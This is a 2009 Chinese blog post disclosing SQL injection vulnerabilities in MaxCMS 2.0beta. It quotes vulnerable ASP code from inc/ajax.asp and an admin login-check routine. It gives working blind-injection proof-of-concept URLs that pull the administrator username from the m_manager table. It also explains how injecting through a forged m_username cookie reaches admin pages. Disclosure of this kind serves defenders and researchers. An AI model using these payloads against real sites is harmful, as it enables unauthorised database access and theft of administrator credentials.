马克斯CMS2.0beta (maxcms)SQL注入漏洞

2009, December 8, 4:05 PM. 漏洞集研
Submitted by admin

作者:flyh4t
关键字:首页-马克斯cms2.0
这个系统是国内非常流行的视频点播系统,之前的1.5版本漏洞非常多,2.0版本在安全方面有所提高,但是依然有漏洞存在。
看代码
 引用内容
1.\inc\ajax.asp 
2.
3.dim action : action = getForm("action", "get") 
4.response.Charset="gbk"
5.
6.Select  case action 
7.    case "newslist" : viewNewsList 
8.    case "newscontent" : viewNewsContent 
9.    case "digg","tread" : scoreVideo(action) 
10.    case "reporterr" : reportErr 
11.    case "hit" : updateHit 
12.    case else : main 
13.End Select
14.terminateAllObjects 
15.
16.…… 
17.
18.Sub scoreVideo(operType) 
19.    dim sql,id,digg,returnValue : id=getForm("id","get") 
20.    ‘通过get方式获取id的值 
21.    if rCookie("maxcms2_score"&id)="ok" then die "havescore"
22.    if isNul(id) then die "err"
23.    'on error resume next 
24.    digg=conn.db("select m_digg from {pre}data where m_id="&id,"execute")(0) 
25.    ‘ 参数id,没有过滤就带入sql语句进行查询 
26.    if err then digg=0 : err.clear() 
27.    if not isNum(id) then echoSaveStr "safe" else id=clng(id) 
28.    ‘ 查询到digg,注意返回的内容 
29.……

利用就很简单了,构造sql语句提交(默认结构是m_manager,m_username,m_pwd,根据返回的内容判断就可以了。如果构造的语句是正确的,就返回类似警告
你提交的数据有非法字符,你的IP【xxxx】已被记录,操作
构造的语句不正确,则返回500
Poc :

 引用内容
1.正确的: 
2.http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97 
3.
4.不正确的: 
5.http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=99

其实随便找个注射工具跑一下就ok了
另外一处注射

 引用内容
1.Sub checkPower 
2.    dim loginValidate,rsObj : loginValidate = "maxcms2.0"
3.    err.clear 
4.    on error resume next 
5.    set rsObj=conn.db("select m_random,m_level from {pre}manager where m_username='"&rCookie("m_username")&"'","execute") 
6.    loginValidate = md5(getAgent&getIp&rsObj(0)) 
7.    if err then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href='index.asp?action=login';</script>"
8.    if rCookie("check"&rCookie("m_username"))<>loginValidate then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href='index.asp?action=login';</script>"
9.    checkManagerLevel  rsObj(1) 
10.    set rsObj=nothing 
11.End Sub

其中

 引用内容
1.Function rCookie(cookieName) 
2.    rCookie = request.cookies(cookieName) 
3.End Function

通过伪造cookie中m_username的值可以进行注射
不过要知道后台管理目录,默认是/admin/,多个页面可以触发改函数
比如 /admin/admin_ajax.asp

« 上一篇 | 下一篇 »

只显示10条记录相关文章
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):